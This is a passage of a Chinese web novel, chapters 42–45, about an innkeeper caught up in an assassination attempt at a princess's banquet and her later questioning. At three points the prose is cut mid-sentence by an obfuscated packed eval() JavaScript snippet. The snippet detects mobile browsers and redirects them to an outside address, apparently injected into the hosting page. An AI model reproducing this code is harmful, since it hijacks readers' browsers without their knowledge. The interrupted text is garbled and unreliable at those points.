将碗里剩下的面汤喝完了,李弦抽了她手里的帖子打开一看,知道十一娘除了点名要客来居承办核心区域的茶点供应与助兴节目,还“建议”可以再次融入话本杀元素,以示与民同乐。 “呵,倒还是商量的语气。”李弦嘴角微微翘着,眸光已然暗了下来,显然是明白这帖子措辞客气,实际根本不容拒绝。 察觉到黎映真盯着自己,他又道:“这回不必麻烦你,也不会连累你,我有正当由头进去了。” 猜到李弦又要潜入锦瑟园打探消息,黎映真不免紧张担心,拉住他低声问道:“你到底要调查十一娘什么?” “谁说我调查她?” “那你……” 李弦坐正了些,故作得意,眯着眼,笑看黎映真,道:“这赏花夜宴的帖子昨日就送到衙门了,县令连夜召集我们,说要多加留心锦瑟园内外的安全。晨间我已跟着县令去接洽过了,这趟你不用顾着我。” “谁顾着你了。”黎映真脸上一热,又不想被李弦发现,于是双手托腮,遮住颊上那片浅红,“然后呢?” “然后啊……” 只见这人凑近了过来,又把握着分寸,没教黎映真反感,反倒是她的视线被他引着,一时半刻都忘了问他究竟在自己脸上看什么。 像是终于得到了令他满意的答案,李弦嘴角扬得更高,道:“然后就看见了一些不得了的东西。” 看他又戏弄自己,黎映真抬手就要教训他,到:“找打!” 李弦往后躲了些,却也只是顺着黎映真的动作做做样子,旁人见了只会当他俩是在玩闹。 懒得再跟这人纠缠,黎映真起身就要走。 手腕子又被李弦扣住,她没挣扎便坐下了,脸上却是一副不情不愿的模样,道:“最后一次机会。” “你不是一直疑惑十一娘的真实身份吗?” 黎映真眸光一亮,再去看李弦时,见他还是那样故弄玄虚,但神情已是认真了不少。 她于是同样认真地看着李弦,等着他给自己真相。 “我在锦瑟园里见到的都是皇宫禁军。” 42. 第 42 章 黎映真设想过十一娘或许是哪户高官显贵府上的千金,却从未想过她真会和皇宫扯上关系。 李弦这一句话,在她心里激起了千层浪,也让她更谨慎地处理这一次话本杀的相关设置。 这次筹备的时间比之上一回虽要相对宽裕一些,黎映真却始终绷紧了弦,她甚至让阿桃代为去就近的寺里进香祈福,乞求夜宴当日一切顺利。 如此一直到赏花宴当晚,锦瑟园灯火璀璨,恍如白昼。 园中奇花异草,绚烂旖旎,花香浮动在到场的宾客之间,钗光鬓影,觥筹交错。 黎映真和整场宴会的主事一起,时刻关注着会场中的情况。 她还常要往返于会场和备膳房之间,确认茶点无误,才让人送上。 一并还不忘观察周围是否会有李弦的影子,那人说能借着守卫的名义进来,但从她来了这锦瑟园就没见过他。 在此之前,李弦也未与她多透露什么,她这才不由自主地担心,怕有差池,怕他出事。 夜宴按部就班地进行,又到了话本杀的环节。 黎映真深吸一口气,走到宾客队伍前,按照话本设定,开始引导剧情。 这满眼的珠光宝气,珠履三千,再有这流光灯火、缤纷花海,本该金碧辉煌,令人心生向往。 可黎映真的后背已被冷汗浸湿,那中衣该是能拧出水来了——今夜在场的都该是从京城来的权豪势要,她一个升斗小民心里发怵也是正常。 好在剧情平稳推进,不论是李弦还是系统,都没出问题,黎映真这才觉得耳边的丝竹听来悦耳了几分。 “咕,咕呜!” 几声突兀尖锐的声音冲破夜宴喧闹传来。 紧接着便是兵刃猛烈撞击的刺耳铿锵声。 “有刺客!” 一声大呼之下,两队训练有素的侍卫立即从会场两边围了过来,很快形成一道人墙,护送着场内的宾客向安全区域转移。 黎映真迅速在人群中找到退路,在场边跟阿桃和吴二会和,躲去一旁的廊柱下,目光焦急地在混乱惊恐的人群中搜寻。 暗处飞出一支羽箭,快速划破映着灯火的夜空,射向人群。 “铮!” 只听这清脆的一声,众人还来不及看清,那羽箭便半路折戟。 羽箭落在宾客中的那一刻,人群中爆发惊叫,场面又混乱起来。 与此同时,几束寒光从侍卫中闪过,正是混入其中的刺客欲趁宾客乱作一团时下手。 夜色中蓦地响起一声长哨,又一支护卫队伍出现,与那几名刺客纠缠起来。 “掌柜的,这儿危险,我们快走吧。”吴二亟亟道。 廊柱下的身影却没有动作。 黎映真认定李弦就在附近,甚至以为刚才那打落羽箭的暗器、那一声长哨都是出自他之手。 “你们先回去。” 视线从人群到周围的楼宇,哪怕是那片被照亮的夜幕,她都希望能找到李弦的身影,确定他在,好让她知道他眼下是安全的。 火星四溅,刺耳的金属摩擦声不绝于耳。 “掌柜的!”阿桃也来劝道,“吴二说的对,这里实在太危险了,咱们还是快走吧。” 说着,她朝吴二使个眼色,想要和他一起将黎映真带走。 “李弦!” 黎映真惊呼一声,不由往前一步,却被阿桃拉住。 同一时刻,一道正刺向十一娘的刀光被忽然出现的另一把长刀所阻。 又是一声铮鸣响彻夜空,惊得宾客更慌,四处逃命,场面更是难以控制。 然那前一刻还拦在十一娘身前的刀,在眨眼间换了方向,势如破竹,劈向人群另一处。 那里另有几名刺客,正试图在混乱中围剿另一位客人。 李弦身似游龙一般快速蹿到刺客中间,刀光闪烁,接连几声刀身击鸣,原本正围拢的身形被迫退开。 长刀淌血,那金铁寒光之上赫然流下一道鲜红痕迹,滴落在那双皂靴边。 被人群遮挡着,黎映真看不见究竟发生了什么,只听着那声音便教她心颤,可身旁阿桃和吴二都拉着她,她实难上前。 “滴!搭档,热度值又一次呈现急速攀升趋势,请尽快前往会场中心区域……” “滚!” 对系统的厌恶已无法只藏在意识里,这一次,她将内心的愤怒和不满脱口而出。 阿桃和吴二被这忽然的一声怔住。 她立即从二人身边脱身。 人群仍有侍卫围住,黎映真进不去,只能在外围寻找最便于观察的位置。 现场的嘈杂和刀尖交击的声音混合着不断传来,而眼前森严的守卫让她几乎没有探入人群去一看究竟的可能。 在茉城的遭遇涌上心头,如果那时她还能在李弦身边,能看到他,那她至少会比此刻得不到他丝毫的消息而安心些。 “李弦……你别有事……” 一直在寻找机会,她也一直念着李弦的名字。 “搭档,想办法进去,李弦一定在里面。” “只要你能闯进去,热度值必然能大飞跃!冲!” 系统的蛊惑加剧了黎映真混乱忐忑的心情,耳畔的声音真切,眼前的人影却渐渐变得模糊起来。 “再不想办法进去,李弦可能会有危险,你不想救他吗?” 她当然想,但进不去,硬闯只可能带来更大的混乱,甚至可能威胁到李弦的安全。 “你给我闭嘴。”她捂住双耳,企图以此隔绝系统的声音。 但她又清楚,那声音来自意识,在没有进行切割前,自己无论如何都摆脱不了。 “相信我,你想办法进去就能见到李弦,这也是我们都想看到的结果。” 正和系统僵持,一阵忽然变大的人声传来。 视线还没看清,一个黑影滚来了黎映真脚下。 “快走!”李弦的喊声传来。 没有任何犹豫,黎映真转身就跑。 “咻——” 身后一声惨叫,随后有什么东西轰然倒下的声音。 还有刀尖落地的声响。 听见那清响的同时,黎映真本能地捂住耳朵,双眼紧闭着又向前跑了几步。 感觉到背后汹涌的寒意在那声儿之后消失了,她才停下脚步。 回头时,见是一个背后被弩箭射中的刺客正趴在地上,身体一抽一抽的,显然伤得不轻。 她还没将方才发生的事想清楚,双手就被人用力拽住往身后一绑。 巨大的力道按着她的后背强迫她整个人弯下腰,而她在猝不及防下,双膝一软砸在了地上。 剧烈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087333|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼痛瞬间唤醒了混沌的意志,反抗不了压在背上的力道,她只能努力抬起头。 眼前的人群有了缺口,黎映真恰能看见正和刺客搏斗的李弦,已衣衫染血,手里的那把刀也不知究竟被谁的血染红了大半。 李弦以一敌多,时间越长越容易落入下风。 发现他背后空门大开,另一名刺客的剑尖即将刺入,黎映真大喊道:“后面!李弦!后面!” “锵”的一声,身边侍卫手里的刀横在她颈间。 利刃贴着皮肤,又是能够唤起痛苦记忆的疼痛。 但视线仍努力追随正在搏杀的那个身影。 她看见李弦在那剑尖即将及体的瞬间,一个拧身错步,那剑锋擦着他的肋下掠过。 他身影似有片刻停滞,又借着旋转之势,手肘狠狠向后撞去,正中那名刺客的胸口。 刺客喷出一口鲜血,踉跄后退。 他转身,手腕一转,改了刀锋方向,正扎在刺客肋下。 不伤及性命,但让对方无力还手。 再是几招对垒,她看见李弦的刀终于还是架在了那名刺客颈间,就像此时此刻的自己。 “幸好……” 亲眼见他制服了歹人,黎映真绷紧的身体瞬间垮了下来。 身边的侍卫或是以为她图谋不轨,拿刀逼近了她颈间。 强烈的疼痛让她失声低吟,而身前覆下一片阴影。 “这是公主请来的客来居掌柜。” 李弦的声音传来,但她这会儿膝盖、脖子、双臂、双手,哪都疼,也仿佛被抽走了所有的力气,连抬头看他都做不到,只听见模糊的动静,像是他在为自己跟那些侍卫做解释。 身边侍卫响起脚步声,越走越远。 她才确定,自己安全了。 只剩下她和李弦了。 身子彻底歪倒下去,却有熟悉的温度传来。 她抬手想要借那条伸向自己的手臂的力,好歹让自己勉强在地上坐着。 李弦一声闷哼传来。 她也觉得手心里温热潮湿。 立即收回手,黎映真看向李弦,被他发白的脸色震得失了神。 “你……”无意识抬起想要去扶他的手才刚触上他身前的衣衫时,也有了和刚才一样的触感。 她仔细看了看,才发现这人深色的衣衫被划了一道大口子,也早都染满了从伤口里涌出的血。 “我没事……”尾音收得突然,明显是在忍痛,“就胳膊上挨了一刀,肋下划了些皮肉……不碍事,养一阵子就好。” “嗯。”她点头,这次没再有一句跟他拌嘴的话。 那人却又凑近过来,还跟从前一样,见她低着头,就也压低了视线自下而上地看他,还故意逗她道:“都是身经百战的老手了,下回要哭,咱也躲起来偷偷哭,不给别人看见了笑话。” 跟那次在茉城巷子里一样,她原能忍住的眼泪,被他一说就再止不住。 可这回,她没再像上回那样跟他动手,只胡乱抹着眼泪,朝周围喊道:“大夫!快找大夫过来!” 一面喊,她一面往李弦身边凑,特意去他没受伤的那半边身子,道:“先借你靠着。” “不能靠……”李弦摇头,“这一靠……” 他声音轻了下去,身子也在夜风中摇摇欲坠。 43. 第 43 章 李弦最终还是被赶来的侍卫带走了,而黎映真也被请去了暂住的小院中。 十一娘身边的随从领着大夫来给她看过伤势,确定都是皮外伤后,上了药、做了包扎后便离去。 人才走,阿桃就抽噎着进来,像是被方才的景象吓得还没回过神,见了黎映真更是只顾扑在她怀里哭。 一旁的吴二还有些魂不附体,试探着问道:“掌柜的,我们会不会有事?” “我们只是正常办事,不会有危险的。”一面回吴二,黎映真一面拍着阿桃的背,安抚道,“不怕不怕,真有事压下来,也有我这个做掌柜的给你顶着。” 听着怀里的小姑娘呜咽着,哭声比方才小了些,黎映真又嘱咐吴二道:“孙伯那儿你再去看看,也转告他们不会有事,今晚先歇了吧,别有其他动作。” 吴二应下,转头出去。 黎映真看阿桃还是没能缓过来,晚上干脆留了她跟自己一块儿睡。 夜里好不容易把阿桃哄睡了,黎映真自己却如何都睡不着,耳边还有那刀剑击鸣的声音响起似的,闭上眼又都是李弦那满身沾血的样子,无论如何都放不下心来。 这样一直到天亮,她都合过眼,也不觉得困。 起身梳洗后用过早膳,她就被召走,说是“公主”要见她。 虽然一切无愧于心,可当黎映真知道自己在经历了一场关乎本朝权贵的混乱,还将要面对大魏公主的那一刻,说她丝毫不紧张、不忐忑那是假的。 跟着随从去见十一娘的路上,她眉心拧得死死的,连大气都不敢出。 抵达十一娘的院子,看着眼前被晨光浸透的窗棂,还有周围精心培育过在北风中依旧盛放的花,她的心底却无半分轻松。 一直到进入厅中,那股沉甸甸的压迫感更加浓重。 十一娘端坐主位,下首坐着个陌生人,但黎映真认得,那是昨夜被李弦救下的那位权贵。 想是昨夜死里逃生,但那位贵人余怒未消,过了一整夜依旧虎目含威,眉宇间残留的惊怒一眼便知。 黎映真低眉垂眼,恭顺地依礼下拜,道:“民女参见公主殿下。” “起来说话。”十一娘声音温和,但比之过去情绪淡了不少,透着股疏离与审视,“这位是成国公。” 黎映真行礼,听十一娘赐座,她便听话坐下。 “昨夜之事,黎掌柜可有解释?”问话的是成国公,声音里满是威压,如同闷雷滚过厅堂。 “民女不知国公指的是昨夜哪件事?” “任何事,有你想交代便都在我与公主面前交代了吧。” 知道成国公明摆着给自己预设了陷阱,黎映真可不敢往里头跳,所以没有立即作答。 “滴!搭档,检测到热度值正在缓慢攀升,把握机会,好好应对。” 系统一出现,黎映真更觉得厌烦,不知自己下意识又沉了几分的脸色早被成国公收入眼底,有了另一番理解。 “黎掌柜。”成国公的声音再度响起,比之显然威仪更重,逼仄更深。 座上身影索性站起,虽仍垂眉低首,身杆却直直挺着,正色道:“民女只是听从公主之命专心准备昨晚夜宴所用茶点和话本杀相关事宜,国公若要问细节,民女自然能一一都解答。其余的,民女不知,只能是国公要问什么,民女知无不言。” 成国公眯起双眼,观察着黎映真,道:“昨夜混乱初起时,黎掌柜并未躲避,反而在会场边缘徘徊张望,还与院内侍卫有了……冲突,可有此事?” 一旦想起昨夜的情景,她仍心有余悸,但有成国公在面前逼问着,黎映真只能强迫自己冷静,脸上又适时流露出几分委屈与后怕,上前道:“昨夜事发突然,民女也是慌乱的,但在场除了宾客之外,也有一些是民女带来的人。当时那样混乱,民女只怕他们受伤,那就是受了民女的牵连,所以才想尽快找到他们,聚拢一处,以免被波及,或是被误认为贼人同党……” 她有意落了余音未收,只往十一娘的位置挪了脚步。 “有话直说。”十一娘道。 黎映真这才继续道:“国公说的与侍卫有冲突,实是民女发现李捕快在场内与刺客搏斗,好似还受了伤。公主知道的,李捕快是客来居的常客,我与他算是有些交情,忽然见了那样凶险的场面,难免担心他的安全,再加上急于寻人的心情,一时大意,惹得侍卫误会,才有国公口中说的……误会……” 她指了指自己颈间裹着的纱布,特意让成国公看清楚。 “若民女真有异动,当时已被侍卫擒住,哪里还能只是给民女这样的教训?”说着她向十一娘躬身,道,“民女多谢公主驭下有方,才有如此尽心尽职又明察秋毫的侍卫,既压制了刺客,救下国公,也没有让民女蒙受冤屈。” 十一娘闻言眉心一动,看向成国公问道:“国公还有其他要问的吗?” 如此便是有意袒护,成国公自然也不便当面驳了十一娘的面子,摇头道:“既已问清楚了,我也没有其他异议。” 见此情景,黎映真正为过了这一关而暗中庆幸,可不等她一口长气收敛着慢慢吐完,十一娘的声音又在厅中响起。 “昨夜的刺客有混入侍卫中的,也有混入黎掌柜带来的那些助手、伶人中的。黎掌柜可知,那混入伶人中的刺客,是顶替了何人?” 这次的话本杀为了符合夜宴游玩的主题,黎映真确实设计一些游艺环节,但都和夜宴主事、衙门确认过名单,一般是不会出错的。 闻言,黎映真心头一颤,谨慎答道:“招募伶人之事,初期由民女亲自接洽相关戏班,确定名单后也跟官府核实过。当日民女领人进来,也都接受了检查,不知这样还能有人顶替。” “嗯。”十一娘端起手边的茶盏,慢条斯理地用杯盖撇着浮沫,状似无意道,“核查之下,发现那被顶替的伶人,前夜曾与一陌生男子接触,得了些钱财,便称病不来。而据那伶人模糊描述,那陌生男子与黎掌柜客栈之前牵扯进的一桩命案有些关联。 “周坚,黎掌柜可记得这个名字?” 犹如一道惊雷劈上黎映真心头,她分明记得,李弦曾跟她说过,周坚和周嫂很有可能已遭遇不测,那如今出现的这个周坚又作何解释? 是李弦被错误情报误导,还是他有意欺骗? 况且周坚怎么还能跟刺杀皇亲国戚扯上关系?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090982|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “黎掌柜。”成国公再次审问道,“这个周坚与你客来居关系匪浅。他的母亲至今下落不明,他本人又在此等关键时刻出现。你,作何解释?” 厅内一时无声,便似有无形的网收拢而来,要将黎映真困在其中,脱不开身。 却也是此刻的沉闷,反教厅内有任何一丝动静都变得容易察觉。 一个细微的声响不合时宜地出现,黎映真不知为何变得敏锐,瞬间便发现了那声音的来源。 十一娘身后的珠帘动了动,而厅中门窗紧闭,断然不会是风。 所以,那帘后有人,一直在默默听着这场问话。 “夺。” 十一娘放下手中茶盏,瓷底放去木几上的声响,将黎映真的注意又拉了回来。 “回殿下,国公……”黎映真抬起头,眼中带着被牵连的委屈,“周坚此人好赌成性,屡次向其母周嫂强要钱财,民女曾因他夜间到客栈闹事,是有过误会。 “后来客栈闹出人命,经县衙门李弦李捕快亲自办理,证明有人诬陷,线索指向周坚与周嫂。只是至今都未寻找到他们母子下落,案件才未能审结。 “民女与周坚,只有这样关联。至于他为何会再次出现,又与刺杀有关,民女不知。但若殿下、国公能寻获此人,民女恳请严加审讯,一为国公讨公道,二也能还民女清白。” 她看来情真意切,态度坚决,言毕便垂首站着,听凭十一娘做主。 十一娘道:“此事自有官府继续追查,但需黎掌柜跟诸位伙计都在园子里多住几日,方便询问调查。” “民女遵命。谢殿下、国公爷明察。”黎映真行了礼,先行离去。 离开十一娘的院子,黎映真依旧心事重重,除了死而复生的周坚,还有那躲在珠帘后头窥探的身影,都教她心底的迷雾越发浓重。 “当前热度值132,搭档,还是差点儿达到150。” “到了150可以开启永久功能吗?” “永久功能会被主机检测到,我们就完了。” “那就是存在永久功能?” “……” “你一个萌新系统,怎么就能越权开启临时功能还能规避主机检测?” “搭档,有些事确实不能告诉你。但你要相信,我一定不会害你。” 系统这苦口婆心的示好丝毫不能打动黎映真,但事情发展到现在,她也不是当初那个能说出“大不了一起死”的穿越新手了。 哪怕对这个世界没有多少感情,但她不能忘记围绕在自己身边的人,阿桃、孙伯、吴二…… 还有李弦…… 她渐渐意识到,自己从一开始就是被系统放进温水里的那只青蛙,一点点在“要活着”的意志下接受系统的控制。 这个世界不会因为她而改变,但她的变化能影响到系统。 所以系统不会害她,可如果她想害系统呢? 剥离彼此绑定的关系也许只需要一个合适的时机。 以前的她可以慢慢等,但昨晚系统为了热度值,那样蛊惑她不要命地冲进刀光剑影里,她就当作系统其实就是要她的命,那么她也不能只是只是继续等了。 44. 第 44 章 回到暂住的小院,黎映真的心思却久久无法平静。 周坚的影子、公主和成国公的审视,还有别有企图的冰冷的系统,交织在她脑海里,惹得一阵心烦。 连在窗口坐着,冷风直往屋子里灌,她都不曾在意。 风声盖过了极轻的脚步声,阳光却是将那在地上拉出的影子送到了黎映真眼前。 她扶着窗台朝外头望,才探出半个脑袋就瞧见李弦。 那人脸上依旧没什么血色,穿着一身宽松的深色衣裳,因受着伤动作不似以往干净利落,但那双眼睛依旧清亮,这会儿正定定看着她。 窗口的身影忽然缩了进去,眨眼的工夫,房门开了。 黎映真从里头出来,加快着脚步到李弦跟前,道:“外头风大,进去说。” 李弦点头,跟着她进了屋。 两人进了屋,黎映真关了房门,还不忘去关了半扇窗,听见李弦问她道:“刚才吓到了吧?” 指尖停在窗棂上,那轻轻晃动的珠帘在黎映真脑海中浮现,原来是他在后头。 “听见周坚的名字能不被吓到吗?”想了想,她还是彻底将窗关上了,又回到李弦身边去扶他。 见他站着不明所以,她看了看桌边的凳子,道:“坐着说话。” 看这人如今倒是听话,慢慢坐了下去,黎映真又给他倒热水,埋怨道:“刚就想去看你,但他们不让,我只好回来了。” 热腾腾的茶水递给李弦,黎映真坐下时,视线还是不由自主地往他肋下看。 平日都是束腰贴身穿劲装的人,这会儿换了宽松的衣裳,想是身上的伤不轻。 察觉到黎映真的目光,李弦指了指受伤的地方,调侃道:“检查检查?” 黎映真顷刻间换了神情,瞪了他一眼,又气又拿这人没办法,只能嘴上还击道:“我又不是大夫。” 听她这副嫌弃的口味,李弦反而笑了,啜了口热茶,神色有所收敛。 “周坚的事……”他观察着黎映真的反应,知她认真在听,继续道,“之前的情报有误,而且对方如果有意放出假情报想要隐藏周坚的下落,那只能证明周坚身上有你我都没有想到的秘密。 “不过我想他这次的出现未必是冲着你。” 黎映真也以为自己跟周坚没什么深仇大恨,就算他过去可能因为其他原因陷害自己,但这会儿的刺杀明显是冲着成国公和其他权要去的,她的确没有太大的危险。 不过话已说到这份上,有些困惑她还是想要向李弦求证。 “李弦,你到底是什么人?” “你我认识这么久,还问这种问题?” “不说就算了。” 原本一直由李弦拿着的那只茶杯被放回桌上。 见他神情严肃,黎映真再转向于他,也坐直了些,是要仔细听的样子。 “我就是成安县里一个普普通通的捕快。”李弦道,“只是机缘巧合接到了一些超出本职的任务。” “你可不普通,临县的捕快也都听你的。” “像这样。”他又指了指自己的伤处,“多替他们挨几刀,自然都认我这个大哥。” 听来玩笑的口吻,李弦似乎根本不在意这种可能关乎生死的危险,可黎映真听着心里不是滋味,尤其想到自己见他受的这几次伤,越发觉得他这一路走得真不容易。 想的多了,她便没发觉自己的心思都露在了脸上,全被李弦瞧了去。 当回过神时,那人那双又黑又亮的眼睛正盛着笑意看着自己,她有些无所适从起来,下意识地低了头,绞起了手指。 李弦一声轻笑传来,一并还有他接下去的话:“逗你的。” 双手蓦地攥成拳头,黎映真抬头盯着笑吟吟的那张脸,嗔道:“你!” “有勇无谋哪里降得住那帮猴子,刀子没挨过,但是这儿……”他指着自己的脑袋,“没少操心他们的事。” 纵是得了解释,黎映真也没完全消气,可转念想起这人两次进入锦瑟园的举动,她忍不住问道:“上次你进来说是一切顺利,这次呢?这次抓到的刺客对你在调查的大事可有帮助?” “若没帮助,公主也不会答应让我在后头听成国公找你的麻烦。”李弦又拿起茶杯要喝水。 黎映真见他杯里几乎空了,念他有伤在身边帮他倒水。 茶水淙淙流入杯中,她又听见李弦问自己道:“颈间疼得厉害吗?” “比上回深,但也只是皮肉伤。”不知为何手里发颤,险些将热水倒到杯子外头,她动作匆忙地放下茶壶,补充道,“不多动脖子就不怎么疼。” 后头这句是想说了让他放心的。 李弦抿着热茶,道:“我没料到他们有胆在都是禁卫的地方下手,成国公其实并非他们的主要目标。但到底被公主察觉,我也只能适当交代一些,再与她做个交换。” “交换?”黎映真不解。 “成国公脾气不好,这次受了这么大的惊吓,他自然要找个出气的。公主对他有所顾忌,只能让他先出了这口气。”李弦道。 这话听着荒唐又好似合理,黎映真恼火,但自己终究只是平民百姓,斗不过那些权贵。 在外头只能认栽,可这会儿李弦在跟前,她一时控制不住,还是暴露了情绪,气道:“所以我就成了那个倒霉蛋?” “你倒霉,却有我运气好啊。”李弦浅浅笑着,微微弯起的眼睛凝睇着黎映真,“不是有我巧得拿手里的情报跟公主提了个条件,让我听着成国公问你的话,防着出意外吗。” 此时再回想十一娘在厅中袒护自己的行为,黎映真才明白是她不想让成国公知道在场有第四个人,免得成国公这口气出得太狠逼得李弦现了身,让她不好解释。 这人心难测,黎映真如今是真真切切体会深刻了。 房中安静,两人对坐,一时半刻都没出声。 “我给你的那把匕首……” “这次夜宴出席的宾客众多,我猜检查会比之前严格,以防万一被发现了误会,就没带来。” 好似被发现了错处心虚,黎映真双手置在膝上,挺直了背一五一十地跟李弦交代。 李弦点头道:“你想得没错,如果昨晚从你身上搜出那把匕首,才当真不好解释。” 黎映真跟着点头,居然有种逃过一劫的庆幸。 “下面我说的话你才要认真听。” “什么?” “认真听。”李弦重复道,神色比之先前更加凝重,“我手里有一条线索,跟黎家有关。” 黎映真瞳孔微缩,心弦紧绷,失声道:“黎家?黎……我家? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100262|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “对,黎家。”李弦重复道,“我在追查的一批货里,其中一条重要运输渠道可能就隐藏在黎家早年的一些产业里,或是与黎家往来密切的商号中。” 黎家虽不是成安县首富,在商会中也可能算不得顶尖,但家中涉及的生意种类不少,各种百货不说一定有铺头,却也多多少少有人脉有进出款项。 据黎映真所知,黎家的生意都不会做得太大,一来黎世昌精力有限,二来家底只有那么多,只能是比上不足,比下有余。 那黎家又怎么会跟李弦在调查的事沾上关系? 是黎文远,还是黎世昌,在暗度成仓什么? 意料之外的事情接踵而至,黎映真怎么都想不到黎家的人还会跟官府的案件联系到一起。 她又不知不觉思索起来,待想起李弦还在身边,抬眼去看时,见他还是那样含笑且耐心地等着。 “你怎么不叫我?”有些歉疚,黎映真往李弦杯子里看了看。 看出她的心思,李弦道:“喝饱了。” “哦。”在李弦的注视下,黎映真有些不自在,她抿着嘴角,侧过身坐好,膝上的手又不自知地绞了起来,“你跟我说这个……是要我帮你……做什么?” “不。” “那你为什么告诉我?” 李弦微顿,眸光更深,叮嘱道:“是要你当心,和黎家的人保持距离。” 手里的动作停下,虽未去回应李弦的视线,但她知道他还在看自己,在等自己的答复。 “真的不用我帮忙吗?”她扭头,目光与李弦交汇。 她从未被人这样认真地关注过,而这人的眼里还像有其他要与她说的,却都含在那闪耀的眼波里,惹得她想自己去探究。 “还是,你觉得我会拖你的后腿?” 言毕,黎映真转开视线,说不上究竟是什么心情,只是在承认自己的确在调查案件这种事上力有不及的时候,有些失落,也觉得遗憾。 “客栈不管了?阿桃他们盼来的好日子,你不想给了?” “当然不是,我只是……” 只是突然意识到,李弦在为她考虑,尽量保全她如今的安稳,让她能专注自己想要做的事。 他的提醒里充满善意。 也许,还有其他。 “你有客栈和那么多伙计要照顾,不必在我的事上分心。” 黎映真点头。 “再者,上回已经麻烦了你,若再将你卷进来,我这本职做不好,岂不是要被人笑话。” 听出这人又开始没正经,黎映真嗔他道:“谁有空笑话你。” 说着话还有意往另一边别过脸去,猜他看不见,她这才偷偷扬了嘴角,却也只是眨眼的工夫,免得被李弦发现了,又该他得意了。 听见身边有动静传来,黎映真跟着李弦站起身,问道:“你去哪儿?” “受伤也不能耽搁提审,总要给外头一个交代。” “你都这样了还要提审?” 李弦嘴角扯出一丝苦笑,但那眼神却是温柔,再去看黎映真时又染了欣赏之意。 “你当初都那样了,不也还要逃婚吗?” 都是情势所迫也好,或者一样遵从本心,他们都有自己想做也必须做的事。 李弦懂她。 45. 第 45 章 黎映真在锦瑟园内被软禁了五日,第五天傍晚,十一娘身边的随从前来通告,说是明日他们就可以离开了。 于是一行人立即收拾行李,准备翌日一早就回客来居。 第二日晨间,黎映真用过早膳正准备和阿桃他们一起出发,随从来道:“殿下有请。” 原本愉悦的心情为之一沉,见阿桃又担心起来,黎映真安慰道:“我去去就回,你们等我回来。” “掌柜的。”阿桃拉着黎映真,低声叮嘱道,“一定要小心。” 黎映真点头答应,这就跟随从去见十一娘。 她心中惊疑不定,却不敢贸然向随从询问,怕有一点差错就耽误返程。 但走着走着,她发现随从带她穿过重重庭院,去的却不是十一娘的住处,反而渐渐走近的是锦瑟园的大门。 阿桃和孙伯他们居然已在那儿等着了。 怀着满腹疑惑停在门口的车马前,这阵仗可比她来时要大不少,光是车马就多了两大车辆。 随从这才在脸上堆出笑容,道:“奉公主殿下口谕,黎掌柜承办宴席尽心竭力,遇变不惊,护持有功,特此嘉奖。” 这嘉奖自然就是多出来的那两辆车里的东西。 黎映真显然还完全回神,需得身边的阿桃提醒,她才从随从手中接过赏赐的礼单,躬身道:“谢殿下赏赐。” “黎掌柜要不要打开再看看?”随从提醒道。 她原欲说不必,但一想这些达官显贵说话总是半含半露,随从既这样说了,她不打开便是她不识抬举了。 打开后她才见那帖子里夹着一张房契,还是成安县市集里位置最好的铺头之一。 “成国公吩咐,此次风波累及黎掌柜受惊,那日多有得罪,国公心下甚是不安,特备薄礼,以示歉意。国公还说,客来居菜品新颖,黎掌柜经营有方,日后还有需劳烦黎掌柜的地方。” 随从缓缓地说着,黎映真却知这赏赐、这补偿,再有这公开的认可,会是客来居以后的护身符,但也要因这荣誉承担更大的风险。 正如她方才是由随从领着送另一条路过来,用时不长,但因着十一娘召见的由头,已足够令她心惊胆战。 恩泽之前必有威压,这是如今她如何都逃不掉的,除非她从这个世上消失。 随从交代完一切便自行离去,黎映真启程要回县里。 “掌柜的,殿下找你什么事?可是担心死我们了。” “殿下跟掌柜的说的事儿,能让你知道?” “这趟是因祸得福,咱们客栈总算熬出头了。” 临行前,大伙还在七嘴八舌地讨论,顺道再检查检查车马人员,这就要正式启程了。 马车抵达成安县时将近午市。 因这几日他们都在锦瑟园,客栈便没有营业。 黎映真从马车上下来,跟吴二道:“你们将东西放好就都回去吧,明日再回来上工。” “啊?掌柜的你还想偷懒?”吴二朝正在卸货的其余人问道,“咱今儿还开不开门了?” “开!”众人异口同声地答道,还引来不少路人注意。 于是大家紧锣密鼓地做起事来。 食客们见客来居重新开门,自然有进来喝茶吃点心的,也有来打听锦瑟园夜宴的。 “前几日我可听老梁说了,衙门里都给掏空了,说是都上锦瑟园去了。” “我可见着了,往那园子去的路上,都有不少那车……别提多华贵了。” “不是还说里头出了事?” 关于锦瑟园的消息成了近期百姓们茶余饭后的谈资,不少人到客来居也是多少是为了听听那些权要韵事,毕竟如今黎映真就是他们最接近那些显贵的一道口子。 